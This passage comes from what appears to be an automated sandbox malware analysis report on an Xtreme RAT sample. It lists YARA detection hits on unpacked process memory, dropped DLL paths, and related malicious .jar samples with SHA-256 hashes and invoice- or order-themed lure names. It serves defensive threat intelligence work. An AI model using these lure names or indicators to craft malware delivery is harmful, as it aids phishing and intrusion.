34.2.iexplore.exe.c80000.2.raw.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
14.1.explorer.exe.1b80000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
14.1.explorer.exe.1b80000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
5.0.svchost.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
5.0.svchost.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
27.0.Server.exe.c80000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
27.0.Server.exe.c80000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
27.0.Server.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
27.0.Server.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
15.0.Server.exe.c80000.2.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
15.0.Server.exe.c80000.2.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
6.2.iexplore.exe.c80000.2.raw.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
6.2.iexplore.exe.c80000.2.raw.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
15.2.Server.exe.c80000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
15.2.Server.exe.c80000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
34.0.iexplore.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
34.0.iexplore.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
15.0.Server.exe.c80000.3.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
15.0.Server.exe.c80000.3.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
5.0.svchost.exe.c80000.0.raw.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
5.0.svchost.exe.c80000.0.raw.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
27.0.Server.exe.c80000.3.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
27.0.Server.exe.c80000.3.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
3.0.server.exe.c80000.3.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
3.0.server.exe.c80000.3.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
34.2.iexplore.exe.c80000.2.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
34.2.iexplore.exe.c80000.2.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
3.0.server.exe.c80000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
3.0.server.exe.c80000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
5.2.svchost.exe.290000.1.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
5.2.svchost.exe.290000.1.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
27.0.Server.exe.c80000.2.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
27.0.Server.exe.c80000.2.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
3.1.server.exe.c80000.0.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
3.1.server.exe.c80000.0.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
5.2.svchost.exe.290000.1.raw.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
5.2.svchost.exe.290000.1.raw.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>
6.0.iexplore.exe.c80000.0.raw.unpack	Xtreme_Sep17_1	Detects XTREME sample analyzed in September 2017	Florian Roth
6.0.iexplore.exe.c80000.0.raw.unpack	RAT_Xtreme	Detects Xtreme RAT	Kevin Breen <kevin@techanarchy.net>

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Roaming\Oracle\bin\JavaAccessBridge.dll	25New Order.jar	6dd7e4306bf105e9208151b587a99f0e917605d29a752af8adac7b97f041493c	malicious	Browse
	49scan_201717067354367.jar	0b3346d07b2b5b252a337b25aa2474a6aa3946e1ff40573971130c8106b002bd	malicious	Browse
	73Doc Bidding Tender PO-211411.jar	5bab68a60dcc1752510997e1e3d9a5cae7be6623ea223c66b5029a598640c50c	malicious	Browse
	74Profoma Invoice pdf copy.jar	c512fd4a2cfeae199fe87b63eb409d657bab16dd54afeb28f56ee0c1f1c38510	malicious	Browse
	1TT_COPY_A2017030255.jpg.jar	0b3346d07b2b5b252a337b25aa2474a6aa3946e1ff40573971130c8106b002bd	malicious	Browse
	97Payment-pdf.jar	ff860260e27631332f95ff653243f05d791208540afeb3e7a46bcb31b6462fcf	malicious	Browse
	95April PO.jar	1b1dcfc915840c54c876591314c50a47bd4b012c1c8a75c49a892f4a9ca813dc	malicious	Browse
	69AWBRef38304003993.pdf.jar	83d655b68632215cd32af6bd6a6b44aec16709daa9e2009b99a60cdb45c333e1	malicious	Browse
	98SWIFT.jar	92797129f3e958c2fbe33387e751185d2ce58aa5ff0baf59a420717b68070d5f	malicious	Browse
	93NEW_INVOICE_ORDER_0948776633.jar	14bb1fdc161af6b58b6bef32f91f065bbffcde6b01c6a5a0dc1b4f6eb433fec8	malicious	Browse
	45Inquiry No. (12157) PI from threeway 1214.jar	a6995b8c377aa017dc8b2775dd50bb986f4b473bd88238ba27f5130c7244bd9f	malicious	Browse
	46Order Specification.jar	c3f6672c76f4c0bf73b12f83b268aa6c371eb3c25673c203a4d1382a6a7cf31f	malicious	Browse
	77B&L Order No 171022 - Master Mar - MV Northern Juvenile.jar	eaf5d83198b376be7d3b86675a217c497eb57fda69063f2a5dde58dd3bd0ba37	malicious	Browse
	89CV.jar	8acccee38b0c5f38906561ebffea1d3320bfcd1543bea943fa99794d1cd7cc4f	malicious	Browse
	83PO-04217.jar	31c6b4f805747bc91473171f4751ebac8a00bb120901ddbce948f07132b5ef39	malicious	Browse
	179P-39 Oxfam Australia.jar	c7b3b91667badeac5e88133fd1bb9a8b19b116c0ca79a9ed890b30b7b07d8f23	malicious	Browse
	11previous Quotation.jar	8113272d91207f80d3f3f5174cd3e7c6e3ccdc6a8fef6d44cd48442d201873ee	malicious	Browse
	83April Order.jar	cf2af87daa6da31aa30467a8be83273d9e325f6142581142273c378b97d40e17	malicious	Browse
	27TT_COPY_A2017030255.jpg.jar	31d398be8f94446f579bde3cb6873279f22ffba20435b7799cd86d7a5db7e05a	malicious	Browse
	55documents.pdf.jar	b7fb2a1ae8dd7e3dc5594cb02c246e0a6bbae9ec8b3ca0d1355b51f7ea6d0bdf	malicious	Browse
C:\Users\user\AppData\Roaming\Oracle\bin\JAWTAccessBridge.dll	25New Order.jar	6dd7e4306bf105e9208151b587a99f0e917605d29a752af8adac7b97f041493c	malicious	Browse
	49scan_201717067354367.jar	0b3346d07b2b5b252a337b25aa2474a6aa3946e1ff40573971130c8106b002bd	malicious	Browse
	73Doc Bidding Tender PO-211411.jar	5bab68a60dcc1752510997e1e3d9a5cae7be6623ea223c66b5029a598640c50c	malicious	Browse
	74Profoma Invoice pdf copy.jar	c512fd4a2cfeae199fe87b63eb409d657bab16dd54afeb28f56ee0c1f1c38510	malicious	Browse
	1TT_COPY_A2017030255.jpg.jar	0b3346d07b2b5b252a337b25aa2474a6aa3946e1ff40573971130c8106b002bd	malicious	Browse
	97Payment-pdf.jar	ff860260e27631332f95ff653243f05d791208540afeb3e7a46bcb31b6462fcf	malicious	Browse
	95April PO.jar	1b1dcfc915840c54c876591314c50a47bd4b012c1c8a75c49a892f4a9ca813dc	malicious	Browse
	69AWBRef38304003993.pdf.jar	83d655b68632215cd32af6bd6a6b44aec16709daa9e2009b99a60cdb45c333e1	malicious	Browse
	98SWIFT.jar	92797129f3e958c2fbe33387e751185d2ce58aa5ff0baf59a420717b68070d5f	malicious	Browse
	93NEW_INVOICE_ORDER_0948776633.jar	14bb1fdc161af6b58b6bef32f91f065bbffcde6b01c6a5a0dc1b4f6eb433fec8	malicious	Browse
	45Inquiry No. (12157) PI from threeway 1214.jar	a6995b8c377aa017dc8b2775dd50bb986f4b473bd88238ba27f5130c7244bd9f	malicious	Browse
	46Order Specification.jar	c3f6672c76f4c0bf73b12f83b268aa6c371eb3c25673c203a4d1382a6a7cf31f	malicious	Browse
	77B&L Order No 171022 - Master Mar - MV Northern Juvenile.jar	eaf5d83198b376be7d3b86675a217c497eb57fda69063f2a5dde58dd3bd0ba37	malicious	Browse
	89CV.jar	8acccee38b0c5f38906561ebffea1d3320bfcd1543bea943fa99794d1cd7cc4f	malicious	Browse
	83PO-04217.jar	31c6b4f805747bc91473171f4751ebac8a00bb120901ddbce948f07132b5ef39	malicious	Browse
	179P-39 Oxfam Australia.jar	c7b3b91667badeac5e88133fd1bb9a8b19b116c0ca79a9ed890b30b7b07d8f23	malicious	Browse
	11previous Quotation.jar	8113272d91207f80d3f3f5174cd3e7c6e3ccdc6a8fef6d44cd48442d201873ee	malicious	Browse
	83April Order.jar	cf2af87daa6da31aa30467a8be83273d9e325f6142581142273c378b97d40e17	malicious	Browse
	27TT_COPY_A2017030255.jpg.jar	31d398be8f94446f579bde3cb6873279f22ffba20435b7799cd86d7a5db7e05a	malicious	Browse
	55documents.pdf.jar	b7fb2a1ae8dd7e3dc5594cb02c246e0a6bbae9ec8b3ca0d1355b51f7ea6d0bdf	malicious	Browse
C:\Users\user\AppData\Roaming\Oracle\bin\WindowsAccessBridge.dll	25New Order.jar	6dd7e4306bf105e9208151b587a99f0e917605d29a752af8adac7b97f041493c	malicious	Browse
	49scan_201717067354367.jar	0b3346d07b2b5b252a337b25aa2474a6aa3946e1ff40573971130c8106b002bd	malicious	Browse
	73Doc Bidding Tender PO-211411.jar	5bab68a60dcc1752510997e1e3d9a5cae7be6623ea223c66b5029a598640c50c	malicious	Browse
	74Profoma Invoice pdf copy.jar	c512fd4a2cfeae199fe87b63eb409d657bab16dd54afeb28f56ee0c1f1c38510	malicious	Browse
	1TT_COPY_A2017030255.jpg.jar	0b3346d07b2b5b252a337b25aa2474a6aa3946e1ff40573971130c8106b002bd	malicious	Browse
	97Payment-pdf.jar	ff860260e27631332f95ff653243f05d791208540afeb3e7a46bcb31b6462fcf	malicious	Browse
	95April PO.jar	1b1dcfc915840c54c876591314c50a47bd4b012c1c8a75c49a892f4a9ca813dc	malicious	Browse
	69AWBRef38304003993.pdf.jar	83d655b68632215cd32af6bd6a6b44aec16709daa9e2009b99a60cdb45c333e1	malicious	Browse
	98SWIFT.jar	92797129f3e958c2fbe33387e751185d2ce58aa5ff0baf59a420717b68070d5f	malicious	Browse
	93NEW_INVOICE_ORDER_0948776633.jar	14bb1fdc161af6b58b6bef32f91f065bbffcde6b01c6a5a0dc1b4f6eb433fec8	malicious	Browse
	45Inquiry No. (12157) PI from threeway 1214.jar	a6995b8c377aa017dc8b2775dd50bb986f4b473bd88238ba27f5130c7244bd9f	malicious	Browse
	46Order Specification.jar	c3f6672c76f4c0bf73b12f83b268aa6c371eb3c25673c203a4d1382a6a7cf31f	malicious	Browse
	77B&L Order No 171022 - Master Mar - MV Northern Juvenile.jar	eaf5d83198b376be7d3b86675a217c497eb57fda69063f2a5dde58dd3bd0ba37	malicious	Browse
	89CV.jar	8acccee38b0c5f38906561ebffea1d3320bfcd1543bea943fa99794d1cd7cc4f	malicious	Browse
	83PO-04217.jar	31c6b4f805747bc91473171f4751ebac8a00bb120901ddbce948f07132b5ef39	malicious	Browse
	179P-39 Oxfam Australia.jar	c7b3b91667badeac5e88133fd1bb9a8b19b116c0ca79a9ed890b30b7b07d8f23	malicious	Browse
	11previous Quotation.jar	8113272d91207f80d3f3f5174cd3e7c6e3ccdc6a8fef6d44cd48442d201873ee	malicious	Browse
	83April Order.jar	cf2af87daa6da31aa30467a8be83273d9e325f6142581142273c378b97d40e17	malicious	Browse
	27TT_COPY_A2017030255.jpg.jar	31d398be8f94446f579bde3cb6873279f22ffba20435b7799cd86d7a5db7e05a	malicious	Browse
	55documents.pdf.jar	b7fb2a1ae8dd7e3dc5594cb02c246e0a6bbae9ec8b3ca0d1355b51f7ea6d0bdf	malicious	Browse

Screenshots

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

AV Detection:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Software Vulnerabilities:

Networking:

Boot Survival:

Remote Access Functionality:

Stealing of Sensitive Information:

Persistence and Installation Behavior:

Data Obfuscation:

Spreading:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Lowering of HIPS / PFW / Operating System Security Settings:

Language, Device and Operating System Detection:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

Dropped Files

Screenshots